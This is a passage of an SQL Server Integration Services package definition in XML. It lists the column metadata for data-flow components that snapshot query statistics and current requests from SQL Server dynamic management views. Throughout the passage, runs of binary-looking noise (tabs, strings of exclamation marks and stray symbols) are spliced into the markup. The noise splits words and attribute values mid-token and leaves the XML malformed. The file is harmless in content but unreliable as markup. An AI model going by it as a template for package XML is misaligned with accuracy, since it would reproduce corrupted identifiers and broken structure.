text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[max_logical_reads]" cachedDataType="i8" cachedName="max_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[min_clr_time]" cachedDataType="i8" cachedName="min_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interest	!!!!!!!!!!!!!!!!!!!!!!!!`<
Hving Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[max_clr_time]" cachedDataType="i8" cachedName="max_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[min_elapsed_time]" cachedDataType="i8" cachedName="min_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[max_elapsed_time]" cachedDataType="i8" cachedName="max_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current snapshot.Outputs[Derived Column Output].Columns[snapshot_id]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input].Columns[collection_time]" cachedDataType="dbTimeStamp" cachedName="collection_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[collection_time]"/></inputColumns><externalMetadataColumns/></input></inputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests" componentClassID="{480C7D5A-CE63-405C-B338-3C7F26560EE3}" contactInfo="Extracts data from a raw file.;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;1" description="Extracts data from a raw file." name="RFS - Read current cache with dm_exec_requests" version="1"><properties><property dataType="System.Int32" description="Specifies the mode used to access the file." name="AccessMode" typeConverter="AccessMode">1</property><property dataType="System.Null" description="Output file name" name="FileName" UITypeEditor="Microsoft.DataTransformationServices.Controls.NonValidatingFileNameEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.String" description="Name of the variable that contains the file name" name="FileNameVariable">User::CollectionCacheFileNameOutput</property></properties><output	!!!!!!!!!!!!!!!!!!!!!!!!`<%>%;Hvs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output]" name="Raw File Source Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[statement_start_offset]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[statement_start_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[statement_start_offset]" name="statement_start_offset"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[statement_end_offset]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[statement_end_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[statement_end_offset]" name="statement_end_offset"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[collection_time]" dataType="dbTimeStamp" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[collection_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[collection_time]" name="collection_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[sql_handle]" dataType="bytes" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[sql_handle]" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[sql_handle]" name="sql_handle"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[plan_handle]" dataType="bytes" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[plan_handle]" length="64" lineageId="Package\SEQ - Capture and analyze quer	!!!!!!!!!!!!!!!!!!!!!!!!`<1GHvy statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[plan_handle]" name="plan_handle"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[row_id]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[row_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[row_id]" name="row_id"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_id]" dataType="i2" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_id]" name="session_id"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_id]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_id]" name="request_id"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[exec_context_id]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[exec_context_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[exec_context_id]" name="exec_context_id"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[blocking_session_id]" dataType="i2" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[blocking_session_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[blocking_session	!!!!!!!!!!!!!!!!!!!!!!!!`<sHv_id]" name="blocking_session_id"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[is_blocking]" dataType="bool" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[is_blocking]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[is_blocking]" name="is_blocking"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[blocking_exec_context_id]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[blocking_exec_context_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[blocking_exec_context_id]" name="blocking_exec_context_id"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[scheduler_id]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[scheduler_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[scheduler_id]" name="scheduler_id"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[database_name]" dataType="wstr" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[database_name]" length="128" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[database_name]" name="database_name"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[user_id]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[user_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[user_id]" name="user_id"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and 	!!!!!!!!!!!!!!!!!!!!!!!!`<J\Hvtext\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[task_state]" dataType="wstr" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[task_state]" length="10" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[task_state]" name="task_state"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_status]" dataType="wstr" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_status]" length="15" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_status]" name="request_status"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_status]" dataType="wstr" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_status]" length="15" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_status]" name="session_status"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[executing_managed_code]" dataType="bool" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[executing_managed_code]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[executing_managed_code]" name="executing_managed_code"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[login_time]" dataType="dbTimeStamp" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[login_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[login_time]" name="login_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache w	!!!!!!!!!!!!!!!!!!!!!!!!`<$Hvith dm_exec_requests.Outputs[Raw File Source Output].Columns[is_user_process]" dataType="bool" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[is_user_process]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[is_user_process]" name="is_user_process"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[host_name]" dataType="wstr" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[host_name]" length="20" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[host_name]" name="host_name"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[program_name]" dataType="wstr" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[program_name]" length="50" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[program_name]" name="program_name"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[login_name]" dataType="wstr" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[login_name]" length="30" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[login_name]" name="login_name"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[wait_type]" dataType="wstr" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[wait_type]" length="45" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[wait_type]" name="wait_type"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[last_wait_type]" dataType="wstr" externalMetadataColumnId="Package\SEQ 	!!!!!!!!!!!!!!!!!!!!!!!!`<	oHv- Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[last_wait_type]" length="45" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[last_wait_type]" name="last_wait_type"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[wait_duration_ms]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[wait_duration_ms]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[wait_duration_ms]" name="wait_duration_ms"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[wait_resource]" dataType="wstr" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[wait_resource]" length="50" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[wait_resource]" name="wait_resource"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[resource_description]" dataType="wstr" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[resource_description]" length="140" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[resource_description]" name="resource_description"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[transaction_id]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[transaction_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[transaction_id]" name="transaction_id"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[open_transaction_count]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan	!!!!!!!!!!!!!!!!!!!!!!!!`<
vj^Hv and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[open_transaction_count]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[open_transaction_count]" name="open_transaction_count"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[transaction_isolation_level]" dataType="i2" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[transaction_isolation_level]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[transaction_isolation_level]" name="transaction_isolation_level"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_cpu_time]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_cpu_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_cpu_time]" name="request_cpu_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_logical_reads]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_logical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_logical_reads]" name="request_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_reads]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_reads]" name="request_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_writes]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create	!!!!!!!!!!!!!!!!!!!!!!!!`<yQ3.Hv Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_writes]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_writes]" name="request_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_total_elapsed_time]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_total_elapsed_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_total_elapsed_time]" name="request_total_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_start_time]" dataType="dbTimeStamp" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_start_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_start_time]" name="request_start_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[memory_usage]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[memory_usage]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[memory_usage]" name="memory_usage"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_cpu_time]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File 